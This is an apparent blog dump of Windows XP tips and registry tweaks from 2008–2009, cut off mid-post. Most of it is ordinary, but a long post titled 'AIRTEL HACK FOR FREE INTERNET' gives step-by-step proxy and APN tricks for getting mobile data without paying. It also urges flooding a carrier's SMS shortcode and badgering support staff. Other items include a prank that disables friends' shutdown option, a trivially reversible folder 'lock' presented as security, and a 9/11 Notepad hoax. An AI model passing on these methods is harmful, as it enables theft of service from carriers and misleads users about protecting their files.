F5: Goes back one command line
F6: Enters the traditional CTRL+Z (^z)
F7: Displays a menu with the command line history
F8: Cycles back through previous command lines (beginning with most recent)
F9: Displays a dialog asking user to enter a command number, where 0 is for first command line entered.
Alt+Enter: toggle full Screen mode.
up/down: scroll thru/repeat previous entries
Esc: delete line
Note: The buffer allows a maximum of 50 command lines. After this number is reached, the first line will be replaced in sequence.

:: Helpful accessibility keyboard shortcuts ::

Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT +left SHIFT +PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds

XP PROBLEMS AND THEIR SOLUTIONS

2009-04-12T00:36:00.000-07:00

Xp problems and their solutions ::

1) When I try to access my task manager (Ctr+Alt+Del)...it displays message
'task manger has been disabled by your administrator'..., and also I cant access my registry too..!!
what may have caused this problem....
is it because of some VIRUS...????
how can I repair this without re installing...?? any particular software??

1: Close the IE browser. Log out messenger / Remove Internet Cable.
2: To enable Regedit
Click Start, Run and type this command exactly as given below: (better - Copy and paste)
REG add HKCU\Software\Microsoft\Windows\Current Version\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f
3: To enable task manager : (To kill the process we need to enable task manager)
Click Start, Run and type this command exactly as given below: (better - Copy and paste)
REG add HKCU\Software\Microsoft\Windows\Current Version\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f
4: Now we need to change the default page of IE though regedit.
Start>Run>Regedit
From the below locations in Regedit change your default home page to google.com or other.
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main
HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main
HKEY_USERS\Default\Software\Microsoft\Internet Explorer\Main
Just replace the attacker site with google.com or set it to blank page.
5: Now we need to kill the process from back end. Press Ctrl + Alt + Del
Kill the process svhost32.exe . ( may be more than one process is running.. check properly)
6: Delete svhost32.exe , svhost.exe files from Windows/ & temp/ directories. Or just search for svhost in your comp.. delete those files.
7: Go to regedit search for svhost and delete all the results you get.
Start menu > Run > Regedit >
8: Restart the computer. That’s it now you are virus free.

it works !!

2)I don't have I.I.S.( Internet Information Services) windows component on my system ::

As far as I know one can't have IIS running on XP Home. I think u will have to upgrade it to XP Prof.
in proff That's simple get the Win XP CD, go to control panel-->add/remove programs and then to add/remove windows components. There u will find the option for adding IIS, just check the checkbox and follow the instructions. You r done!!

3) Folder Option Vanished ::

IF U WANT UR FILES THAT WERE HIDDEN U CAN TYPE *.* IN SEARCH AND ALSO TICK THE OPTION "INCLUDE HIDDEN FILES".
NOW SEARCH IN THE DRIVE IN WHICH U STORED UR FILES, U WILL GET UR FILES BUT TO GET BACK THE OPTION U EITHER HAVE TO REINSTALL WINDOWS OR REPAIR IT. well this is as far as I know..

4) My volume icon is not showing in taskbar, Yet It's Enable From Control Panel > Sound And devices

Assuming that you have tried the basic steps i am directly trying with the most possible solutions. This issue most commmonly occurs because the settings are not saved. Also there might be some startup program which is diabling the Systray.exe from loading up.

Try this...
1) Re-enable the volume icon by disabling and then enabling Place volume icon in the taskbar in the Sound and Audio applet.
2) Then copy the following text which is in red into a notepad file and then save it as "fix.reg". Please make sure that there is no .txt extension after that.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSaveSettings"=dword:00000000
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"SystemTray"="SysTray.Exe"

3) Merge the file to the registry by simply double clicking on it.
4) Reboot

This should definitely work. Please reply back with the status.

Cheers

:shared from internet (bond)

5)Whenever I try downloading stuff from the net, the download starts and the comp just restarts. due to this I have to install downloading managers which I hate. help needed anyone. I have win Xp!

If the computer just restarts itself, it cud possibly be an application crash..
check the Dr.watson log for details..
START-RUN- drwtsn32.
check the path for the log here... open the log and check which application is causing the crash.
turn of automatic reboot,cos you wud miss it if there is a BSOD being generated.

or may be u could try this one out

Go to Start>Run--Type 'services.msc', hit ENTER
Scroll down to a service called Remote Procedure Call, right click, go to properties, there will be a tab named Recover Action, change it to 'Take No Action' if it's not already selected. Your problem should be solved for the time being. Also look for all network related srvices DNS, TCP-IP and also Windows Firewall/ICS service if you're on LAN/WAN, see that all of these are set to Automatic or Manual. Reply to me with results

6)I accidentally deleted the Show Desktop icon which sits normally on the bottom left hand corner of the Taskbar. How do I restore the icon?

Click Start, Run and type the following command:

CHANGING START LOGO

2009-04-12T00:29:00.000-07:00

CHANGING START LOGO

Change Start logo in Xp ::

I’ve read a number of articles on the internet about changing the text on the Start button in XP. On more than one occasion I’ve seen references to a five (5) letter limitation when the button is renamed. I always wondered if this was true or just an assumption someone made because the default ‘start’ just happened to fit the button size. So, I decided to run a test and see if there really was a five character limit.

First of all just u need to do is download Resource hacker.

Resource Hacker TM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Win95, Win98, Win ME, WinNT, Win2000 and Win XP operating systems.

ll its just 541Kb in the size.. click here to go to the download Page

Download Resource Hacker

First Step

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe
The category we are going to be using is String Table In Resource Hacker. Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the string table as shown in Fig. 02. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry

Second Step – Modify the Registry

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type Regedit in the Open: field. Navigate to:
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ Current Version\ Win logon

the right pane (Fig. 05), double click the Shell entry to open the Edit String dialog box as shown in Fig. 06. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

u can of course change the text of other Balloon Items , My Computer Name, Favorites and so on many mor

MORE XP TRICKS

2009-04-12T00:21:00.001-07:00

Want to hack Windows XP login password ::

Locking your files in windows ::

to secure ur folders u don't need any s/w in windows Xp and win 2000.Just follow the trick.

1) create a folder in any drive (here D:/)

abc --> (ur files)

2)here in "D:/" create two batch files "lock.bat", "unlock.bat". write the following code in it.

In lock.bat
ren abc abc.{0000031D-0000-0000-C000-00000000004 6}

In unlock.bat
ren abc.{0000031D-0000-0000-C000-00000000004 6} abc

4) place ur personal files inside it. And now press lock.bat in D:, now try opening it. Bingo i think u got it. To unlock click unlock.bat.

** u can change "abc" to ur folder name (say personal..).
u can other keys to rename like,

{48F45200-91E6-11CE-8A4F-0080C81A28D4}
{0B6DC6EE-C4FD-11d1-819A-00C04FB69B4D}

I found some trouble in some systems. This technique is not working there. So there is another way to secure folder contents.

Here use the following keys instead of given above.

{20D04FE0-3AEA-1069-A2D8-08002B30309D} - Turned to Explorer
{0DF44EAA-FF21-4412-828E-260A8728E7F1} - turned to start menu properties
{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF} - Turned to Folder Options
{7007ACC7-3202-11D1-AAD2-00805FC1270E} - Turned to Network Connections
{D20EA4E1-3957-11d2-A40B-0C5020524152} - Turned to Fonts Folder
{D6277990-4C6A-11CF-8D87-00AA0060F5BF} - Turned to Schedule tasks
{E211B736-43FD-11D1-9EFB-0000F8757FCD} - Turned to Scanners & camera

{645FF040-5081-101B-9F08-00AA002F954E} - Turned to Recycle bin

{2227A280-3AEA-1069-A2DE-08002B30309D} - Turned to Printers Folder

I actually use this technique for my programming things to open specified folders. But i found it is possible to secure our personal files using this technique.

So enjoy.

Don't ask me hw to write batch files...

To Experts
Well by using this method 1 can lock files in folder, but those can be deleted. Is there any way to secure even form deleting. I am working on it but never succeeded.

Preventing Windows From Shutting Down ::

Hey dis is a cool trick u can play on ur friends
u can prevent people from shutting down their computer
jus go to Run --> type regedit.exe
Scroll Down to this path -
HKEY_CURRENT_USER\Software\Microsoft\Win dows\CurrentVersion\Policies\Explorer
create a new dword value named NoClose by clicking on Edit --> New --> Dword Value
Set its Value Data to 1 to disable the shut down option
Have fun

Folder Options missing ::

Many of us sometimes find the folder options missing in windows explorer.
Here's the solution
Open Run and then type "gpedit.msc".
Now goto User Configuration > Administrative templates > Windows Component > Windows Explorer.
Click on Windows Explorer you will find the 3rd option on the right side of screen "Removes the Folder Option menu item from the Tools menu"
Just check it, if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.

I hopes that you will find the option after restarting windows.

Renaming The Recycle Bin icon::

To change the name of the Recycle Bin desktop icon, click Start then goto Run, write Regedit and press Enter. It opens Registry Editor. Now in Registry Editor go to:

HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-1 01B-9F08-00AA002F954E}
and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Managing Tasks ::
You can at last get rid of tasks on the computer from the command line by using 'task kill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'task list', which will also tell you a lot about what's going on in your system.

Removing Shared Documents folder From My Computer window:

Open registry editor by going to Start then Run and entering Regedit. Once in registry, navigate to key

HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ Current Version \ Explorer \ My Computer \ Namespace \ Delegate Folders

You must see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}. If you delete this key, you have effectively removed the my shared documents folder.

Making Google the Default Search Engine in Internet Explorer ::

Open registry editor by going to Start then Run and entering regedit and navigate to following three keys separately and change it as shown below:

[HKEY_CURRENT_USER\Software\Microsoft\In ternet Explorer\Main]
"Search Page"=" http://www.google.com"
"Search Bar"=" http://www.google.com/ie"
[HKEY_CURRENT_USER\Software\Microsoft\In ternet Explorer\SearchURL]
""=" http://www.google.com/keyword/%s"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\I nternet Explorer\Search]
"SearchAssistant"=" http://www.google.com/ie"

HACKING WINDOWS XP

2009-04-12T00:16:00.000-07:00

How To Make A Shutdown Timer ::

********** METHOD # 1 ***************

Right click on your desktop and choose "New=>shortcuts".
In the box that says "Type the location of the shortcut",
type in "shutdown -s -t 3600" without the quotation marks and click next. Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.
Make up a name for the shortcut and you're done.
You can change the icon by right clicking=>properities=>change icon=>browse

TO ABORT:
To make an abort key to stop the shutdown timer just create another shortcut and make
the "location of the shortcut" to " shutdown -a" without the quotes.

********* METHOD # 2 **************

{EASIER THAN THE PREVIOUS ONE}

Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in

start=>Run

Type Code: at 11:35 shutdown -s

TO ABORT:
Code: shutdown -a

Put any site on desktop in windows XP ::

To start right click anywhere on your desktop and choose Properties > Desktop > Customize Desktop > Web. You should be at this window:

Click on the New button and type the address of the Web Site you would like to have as your desktop.

Click Ok

On the next window you have the option to customize the Desktop Synchronization. Click Customize, then next and select how you want it to synchronize. If your using a website that requires a password enter it now and click finish. Click Ok.

Windows will then synchronize the page to make it available for your desktop.

Make sure the Lock desktop Items box is NOT checked as you will not be able to move it around once complete. Click Ok, then Ok again on the last window.

You should now have a box on your desktop which will load your desktop website.

You can click up at the corner of the window to maximize it or you can drag it to suit it to your needs.

Now you have a fully functional web desktop. You can click on links from that to navigate, or if your using Google, you can simply enter your search directly into the box

Set Processes Priority ::

Follow this tip to increase the priority of active processes, this will result in prioritisation of processes using the CPU.

CTRL-SHIFT-ESC

1.Go to the second tab called Processes, right click on one of the active processes, you will see the Set Priority option
2.For example, your Run your CD writer program , set the priority higher, and guess what, no crashed CD’s

Shutdown Trick ! ::

Imidiate rapid shut down window
while shutting down window. open task manager(Ctr+Alt+Del),
Select shut down tab. and press ' Ctrl ' key while select Turn Off from dis tab.
Count 5 4 3 2 1 Voila!!! U r window will rapidly shut down.

Speed Up Ur Shut down !! ::

Start Regedit.
Navigate to HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control.
Click on the "Control" Folder.
Select "WaitToKillServiceTimeout"
Right click on it and select Modify.
Set it a value lower than 2000 (Mine is set to 200).

and !

Like previous versions of windows, it takes long time to restart or shutdown windows xp when the "Exit Windows" sound is enabled. to solve this problem you
must disable this useless sound. click start button then go to settings -> control panel -> Sound,Speech and Audio devices -> Sounds and Audio Devices -> Sounds, then under program events and windows menu click on "Exit Windows" sub-menu and highlight it.now from sounds you can select,choose "none" and then click apply and ok. now you can see some improvements when shutting down your system.

Hide your folders disguise them to "Recycle Bin" ::

Rename any folder with extension {645FF040-5081-101B-9F08-00AA002F954E}
e.g.,
if we've a folder games
press F2,
then type, "games.{645FF040-5081-101B-9F08-00AA002F954E}"
c the magic....
then 2 get to original form,
remove the extension using
"ren games.{645FF040-5081-101B-9F08-00AA002F954E} games" in dos or as a bat file

n u are done..

~cheers~

System information ::

system up time only for xp professional edition
It boasts how long it can stay up. Whereas previous
versions of Windows were coy about how long they went
between boots, XP is positively proud of its stamina.
Go to the Command Prompt in the Accessories menu from
the All Programs start button option, and then type
'systeminfo'. The computer will produce a lot of
useful info, including the uptime. If you want to keep
these, type 'systeminfo > info.txt'. This creates a
file called info.txt you can look at later with
Notepad. (Professional Edition only).

lock pc just by double clicking mouse ::

You can lock your XP workstation with two clicks of
the mouse. Create a new shortcut on your desktop using
a right mouse click, and enter 'rundll32.exe
user32.dll,LockWorkStation' in the location field.
Give the shortcut a name you like. That's it -- just
double click on it and your computer will be locked.
And if that's not easy enough, Windows key + L will do
the same.

Speed up your Acrobat reader almost like notepad ::

Do u get irritated when acrobat reader takes 5/10 seconds to load when you want to open a pdf document. There is a way to speed up the loading.

1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)

2. Move all the files and folders from the "plugins" directory to the "Optional" directory. (I repeat.. cut and paste the files NOT copy & paste).

Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).

Now your acrobat reader will load very fast
and almost as good as notepad..

Remove Stored username and Passwords ::

To remove the Stored User Names and Passwords from your system, try this:
Click Start, Run and type Control keymgr.dll
Remove the entries from the list.
The other ways to access this dialog are:
Type Control Userpasswords2 in RUN box, click Advanced, Manage Passwords
-or-
From Control Panel, select your User Account, click Manage your network passwords

It Works

Remove the Username and picture from Windows XP New Start Menu ::

The User account picture can be removed by turning off the Welcome Screen. Or, by switching to Windows Classic theme. Follow the method described in this article if you want to remove the username and picture from the Start Menu, without disabling the Welcome Screen and Windows XP Theme.

For those who want to remove the user name and user account picture from Start Menu, in order to have a blank blue panel at the top, try this:
Start Windows Explorer and go to this folder:

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures

From that folder, rename the BMP file which corresponds to your user account.
( For example, if your username is Robert, rename Robert.bmp to old_Robert.bmp )
Next, rename the following folder:

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures

to something else, say...

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\No_Default Pictures
To remove the user name, follow these steps

Start regedit.exe and navigate to the this key:

HKEY_CURRENT_USER \ Software \ Microsoft\ Windows \ CurrentVersion \ Policies \ Explorer
In the right-pane, set NoUserNameInStartMenu value-data to 1

Close Regedit.exe and restart Windows.

You'll end up with a blue space at the top of the Start Menu.

To get back the username and the picture, reverse the above procedure::

For the New Start Menu, Windows XP looks for the .bmp file in the folder

C:\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures

If the file is not found, it takes a picture from the "Default Pictures" sub-folder. By renaming the .bmp and the "Default Pictures" folder, you're giving no chance for Windows to fetch an image for the Start Menu

Notepad Trick ! for complete list move to NOTEPAD TRICKS page ::

Well quite old but here is d complete collection

Step 1: Open Notepad
Step 2: Write following line in the notepad.
this app can break
Step 3: Save this file as xxx.txt
Step 4: Close the notepad.
Step 5: Open the file again.

Viola!!

or

1> Open Notepad
2> Enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters, and the last word has five letters
3> DON'T hit enter at the end of the line.
4> Save the file.
5> Close Notepad.
6> Reopen Notepad.
7> Open the file you just saved.

or

Open a note pad
type Bush hid the facts
save that file,
close it
again open and see...

NOTEPAD "world trade centre trick".. ::

Did you know that the flight number of the plane that had hit WTC ...on
9/11 was Q33N ....Open your Notepad in ur computer and type the flight
number i.e Q33N... Increase the Font Size to 72, Change the Font to
Wingdings. U will be amazed by the findings.

log trick !! make your Notepad a diary ::

Sometimes we want to insert current data and time, whenever we open the file in the notepad. If you are a lazy person like me, who don’t like to press F5 whenever you open a notepad. Then here is a trick to avoid this. Just add a .LOG in the first line of your text file and close it.
Whenever you open the file with that text in the first line in the notepad, it will insert the current date and time at the end of the file. You can start entering your text after that.

WHY?

The reason this happens:

In notepad, any other 4-3-3-5 letter word combo will have the same results.
It is all to do with a limitation in Windows. Text files containing Unicode UTF-16-encoded Unicode are supposed to start with a "Byte-Order Mark" (BOM), which is a two-byte flag that tells a reader how the following UTF-16 data is encoded.

1) You are saving to 8-bit Extended ASCII (Look at the Save As / Encoding format)
2) You are reading from 16-bit UNICODE (You guessed it, look at the Save As / Encoding format)
This is why the 18 8-bit characters are being displayed as 9 (obviously not supported by your codepage) 16-bit UNICODE characters

Speed up menu Display ::

When using the start menu the you will notice a delay between different tiers of the menu hierarchy. For the fastest computer experience possible I recommend changing this value to zero. This will allow the different tiers to appear instantly.

Start Regedit. If you are unfamiliar with regedit please refer to our FAQ on how to get started.

Navigate to HKEY_CURRENT_USER\Control Panel\Desktop
Select MenuShowDelay from the list on the right.

Right on it and select Modify.
Change the value to 0.
Reboot your computer.

**Clicking* .avi files on explorer causing 100% CPU usage ::**

Well windows seem to have a REALLY big problem when it comes to reading AVI files. It seems that when you click on an AVI file in explorer, it'll try to read the entire AVI file to determine the width,height, etc. of the AVI file (this is displayed in the Properties window). Now the problem with Windows is that if you have a broken/not fully downloaded AVI file that doesnt contain this info, Windows will scan the entire AVI file trying to figure out all these properties which in the process will probably cause 100% CPU usage and heavy memory usage. To solve this problem all you have to do is the following:
1. Open up regedit
2. Goto HKEY_CLASSES_ROOT\SystemFileAssociations\.avi\shellex\PropertyHandler
3. Delete the "Default" value which should be "{87D62D94-71B3-4b9a-9489-5FE6850DC73E}"
Voila! Please not that this will no longer provide you with the windows properties displaying the AVI file information such as width, height, bitrate etc. But its a small price to pay for saving you resources.
NOTE: Please use caution when using regedit. Improper usage may cause windows to behave imcorrectly. Also, I cannot be held resposible. Backup your registry first.

CD ROM STOPS AUTO PLAYING/AUTO RUN ::

And the AutoPlay Tab has disappeared in My Computer, Devices With Removable Storage, Right Click on CDROM, Properties.
Solution: The service: "Shell Hardware Detection" has been set to Manual or Disabled. Go to Control Panel, Administrative Tools, Services. Return this service to "Automatic".

How to make your Desktop Icons Transparent ::

Go to Control Panel > System, > Advanced > Performance area > Settings button Visual Effects tab "Use drop shadows for icon labels on the Desktop"

Display Message on startup ::

Start regedit, if you are unfamiliar with regedit please see our FAQ.
Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Modify the key legalnoticecaption with what you want to name the window.
Modify the key legalnoticetext with what you want the window to say. Restart

Auto Delete temporary folder ::

ll what i prefer is %temp% " without quotes.. at Start -> Run..
this opens your temp folder n den u cal erase it neatly// still try this one too..

First go into gpedit.msc
Next select -> Computer Configuration/Administrative Templates/Windows Components/Terminal Services/Temporary Folder
Then right click "Do Not Delete Temp Folder Upon Exit"
Go to properties and hit disable. Now next time Windows puts a temp file in that folder it will automatically delete it when its done! Note from Forum Admin: Remember, GPEDIT (Group Policy Editor) is only available in XP Pro.

Make your PDF files to speak::

make your PDF files to speak
here r the shortcuts for hearing PDF files in adobe reader 6.0 or higher

ctrl + shift + b ---->to hear the whole topic
ctrl +shift + v ---->to hear the page

SHAKE THE FIREFOX AND INTERNET EXPLORER

2009-04-12T00:15:00.001-07:00

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

PASTE ABOVE CODE IN ADDRESS BAR AND SEE THE SHAKE

SPEED UP FIREFOX

2009-04-12T00:14:00.001-07:00

Speed up mozilla firefox
Just follow these.....
Type "about:config" into the address bar and hit enter. Scroll down and look for the following entries:

network.http.pipelining
network.http.pipelining.maxrequests
network.http.proxy.pipelining

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"
Set "network.http.pipelining.maxrequests" to some number like 30.

3. Lastly right-click anywhere and select New>>> Integer.
Name it "nglayout.initialpaint.delay" and set its value to "0".
This value is the amount of time the browser waits before it acts on information it receives.
WEB PAGES WILL BE MUCH FASTER NOW...!!!!!!!!
WORKS REAL SMOOTH.......

Make the hard drive inaccessible

2009-04-12T00:13:00.000-07:00

when double clicked on this drive an error message will open saying it is inaccessible .This is an alternate to hiding a drive and making it inaccisible. Here's how u do that :

Go to the registry editor and navigate to the following place :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
In the right hand pane for the Explorer key, create a new "DWORD" value named ViewNoDrive

Double click the new value and enter it as .......
for hiding A drive set value as 1 , for B its 2 and C its 4 and so on and for Z its 33554432
generally multiply it by 2 for the next alphabet to hide

Once done, reboot or log off and login in again. Then try double clicking the drive you made inaccessible.

You should receive a message stating that the drive cannot be accessed

Chat with your friends through MS-DOS

2009-04-12T00:12:00.001-07:00

1. All you need is your friends IP address and your Command Prompt.
2. Open your notepad and write tis code as it is.................. I would prefer you to copy this !

@echo off
:A
Cls
echo MESSENGER
set /p n=User:
set /p m=Message:
net send %n% %m%
Pause
Goto A

3. Now save this as "Messenger.Bat".
4. Drag this file (.bat file)over to Command Prompt and press enter!
5. You would then see some thing like this:

MESSENGER
User:

6. After "User" type the IP address of the computer you want to contact.

Shutdown Your Pc in 3seconds..

2009-04-11T08:51:00.000-07:00

You can shutdown your computer within 3seconds.. yes it is possible.. simple trick
follow the steps:

1.press Ctrl+Alt+Del. It opens task manager.

2.Go to shutdown Tab.

3.Now Press and HOLD Ctrl key and then click TURN OFF option.

NOW YOUR COMPUTER WILL TURN OFF WITHIN FEW SECONDs

AIRTEL HACK FOR FREE INTERNET ALL METHODS

2008-09-16T03:43:00.000-07:00

~cheers~You need a PC or a Laptop and the required connectivity tools ,ie.,Serial/USB cable OR Infrared Device OR Bluetooth dongle1) Activate Airtel Live! ( Itâs FREE so no probs)2) Create TWO Airtel gprs data accounts (yep TWO) and select theFIRST as the active profile.3) Connect your mobile to the PC (or Laptop) and install the driver foryour mobileâs modem.4) Create a new dial-up connection using the NEW CONNECTIONWIZARD as followsConnecting Device : Your mobileâs modemISP Name : Airtel (or anything you like)Phone Number : *99***2# / Try 99***1Username and Password : blank5) Configure your browser and download manager to use the proxy100.1.200.99 and port 8080.( My advice is to use Opera since youcan browse both wap and regular websites)6) Connect to the dial-up account. You will be connected at 115.2kbps (but remember, that is a bad joke).7) Pick up your mobile and try to access any site. You will get âAccessDeniedâ(except for Airtel Live!). IT DOES NOT MATTER.Keep the mobile down.8 ) On the PC ( or Laptop) open your browser, enter any address ,press ENTER andâ¦â¦.WAIT9) After a few seconds the page will start to load and you have theWHOLE internet at your disposal. ***************************************************************************************************************TWOUnder DATA COMM~~~~~~~~~~~~APN : airtelfun.comUSERNAME : blankPASSWORD : blankPASS REQ : OFFALLOW CALLS : AUTOMATICIPADDRESS :DNSADDRESS :DATA COMP : OFFHEADER COMP : OFFUnder INTERNET PROFILES~~~~~~~~~~~~~~~~INTERNET MODE : HTTP or WAP (both worked for me)USE PROXY : YESIP ADDRESS : 100.1.200.99PORT : 8080USERNAME :PASSWORD :No Risk Here, Try it and EnjoyThree1st go to settings menu then to connectivity tab now choose the option Data comm. then "DATA ACCOUNTS" go to new account now the settings r as followsACCOUNT TYPE:GPRSNEW ACCOUNT NAME:A1APN:airtelfun.comusr name: (blank)password: (blank)now save itNOW!go to Internet Setting in connectivity here choose intrnet profile--go to new profile setting are as belowNAME:A1CONNECT USING:A1(which was created in data comm.)save itnow u would be able to see it now selest it and take "more" option then select setting here in use proxy option it will be selected no if it is no then change it into yesnow go to proxy adress and give the adress as100.1.200.99 and then the port number as 8080Usr name:password:now save all the settings u made . come back 2 connectivitychoose streaming settings now in connect using option choose a1 that we created leave the use proxy option as no itselfTHESE R THE SETTINGSnow access airtellive! from ur activated SE phone goto VIDEO GALLERY OR VIDEO UNLIMITED(varies according to states) choose live streaming then choose CNBC OR AAJTAK WHILE CONNECTING TO MEDIA SERVER cancel AFTER 9 or 10 sec then type any web adress if it shows access denied then once again select CNBC and wait for a few more sec than before if its fully connected also no prob its free then cancel it or if ur connected then stop it and the internet is ready to take of .GOOD LUCK SE AIRTEL USERSalternateFor All Airtel UsersRequirements:1. Airtel live (available 4 free)2. Nokia series60 handset eg 6600,6630,n series,7610,6670 etc3. Opera wap browser 4 mobileProcedure:-1. Go to ur connection settings and make a new internet profile using the default settings of airtel live. name that new profile as nething(for eg masala); change the home page of that profile to nething u like for eg www.google.com.2. Go to ur Opera browser and set the default connection as AIRTEL LIVE. this is the original settings u received thru airtel.3. Go to the services(in n6600) and Web(N6630) and change the default profile for connection as masala (newer one).**Note: always make sure that ur access point is airtelfun.comApply:-1. Open Opera and u will see that homepage of Airtel Live is opened. Minimize the application.2. Now open web using the duplicate Profile and u will see that two gprs connections will work simultaneously and at the web or the services page it will show "Unable to connect" or any error. well thats the signal of ur success.3. Simply go on the Opera with web on and open any site u want for free. No Charges No nothing.U can also use it through ur computer..........someone said dis tooThe main principle behind this is we hav 2 fool the bsnl techies 2 activate portal and thus get gprs activated / get "G" signal on ur cell as bsnl portal (wap.cellone.in) needs "gprs signal on ur cel (whether gprs is formaly activated/registerd or not (by my method )i dont know)NORMALLY THEY DONT DO THAT INSPITE OF THE FACT THAT THEY SHOULD ACTIVATE GPRS SIGNAL SERVICE FOR PORTAL!!!AND THEY WILL GIVE U NO OF REASONS-------THAT portal is message based , so go to cellone icon in menu and use that sms based portal (what the f**k)---THAT portal service will be activated when u will activate gprs by filling up form and registering at nearest CCN!!---THAT ur handset has some problems (if u say that "G" signal is not present)----etc,etc!!U HAVE 2 ACTIVATE PORTAL FIRST WHICH IS FREE AND U CAN EAT UP CC'S FOR THIS REASON!!SO WHAT U HAV 2 DO IS--1) SEND PORTAL to 3733 AND CONFIRMATION SHD COME WITH 5 MIN AT-MAXIMM !!2) SEND FOR ATLEAST 20-30 TIMES (CAN B ANY MORE THAN THAT)JUST S**K UP THE NETWORK(3733) WITH THESE MESSAGES !!!THAT'S FREE NO!! BOTH ON POST AND PRE!!3) NOW ALONG ALSO SEND 20-40 SMS AS GPRS TO 3733(NO OF SMS DIRECTLY PROPORTIONAL 2 HATE FOR BSNL AND HOW EARLY U WNAN GET UR GPRS ACTIVATED) this is also free both on post and pre!!4) U WILL GET CONFIRMATION IN BOTH CASES AND MSG TELLS U 2 GET SETTINGS FROM 9400024365, THE NO OF CC!!HERE AT MY PLACE I CAN DIAL 9419024365 ALSO!BOTH R TOLL FREE AND BOTH R LOCATED IN CHANDIGARH!!!(((((((AND SOME OF THE CC'S SAY they cant give such sensitive information that where they r located, as if thay have a 3 rd world of their own! and the other dumbs said that they r in chandigarh!!!!)))))I WOULD ADVISE ALL FIRST, 2 call them once 2 get the settings!!(most of the times that is incorect but gives u an idea of settings in ur area))Try and in ur 1 st call only,talk roughly and tell them u r calling 10-20th time just for settings and is that their service!!!5) Now when u get them save them AND plz post them here!!!6) now GET ATLEAST 2-3 COMPLAINTS REGISTERED( each after 1 day) THAT UR PORTAL HAS NOT ACTIVATED AND GET THEIR SERIAL NO.and in the end bombard them abt the status of all those complaints !!b4 registering ur complaint they will hesitate much and always say taht they will b sendin new settings which r accurate! but dont belive them and just register complaints!!6)AFTER THAT, u have 2 only wait until "G" signal is there on ur screen!!LOOK, WHAT I HAVE WRIITEN ABV IS METHOD by which i got activated my "G" service !!! without fillin any form or such and without any money drain!!may be since it bypasses the formal way of registeration, that is why this trick is working !!!!!!!!!!!!U may also Try thisfirst open ur msg window and type LIVE and send it to 2567 so that after 5 min u get the setting of Airtel Live or if u have already no need for this procedure.now then open that setting and copy all the settings from it and create one access point manually which has all the settings like Airtel Live has.now only one change will be there and it would be in access point name which is "Airtelmms.com" instead of originally "Airtelgprs.com".ok u've done it just active that setting and access free airtel gprs on ur phone.Another Tricksomya_cseYou need a PC or a Laptop and the required connectivity tools ,ie.,Serial/USB cable OR Infrared Device OR Bluetooth dongle1) Activate Airtel Live! ( Its FREE so no probs)2) Create TWO Airtel gprs data accounts (yep TWO) and select theFIRST as the active profile.3) Connect your mobile to the PC (or Laptop) and install the driver foryour mobileâs modem.4) Create a new dial-up connection using the NEW CONNECTIONWIZARD as followsConnecting Device : Your mobileâs modemISP Name : Airtel (or anything you like)Phone Number : *99***2#Username and Password : blank5) Configure your browser and download manager to use the proxy100.1.200.99 and port 8080.( My advice is to use Opera since youcan browse both wap and regular websites)6) Connect to the dial-up account. You will be connected at 115.2kbps (but remember, that is a bad joke).7) Pick up your mobile and try to access any site. You will get âAccessDeniedâ¦â(except for Airtel Live!). IT DOES NOT MATTER.Keep the mobile down.8 ) On the PC ( 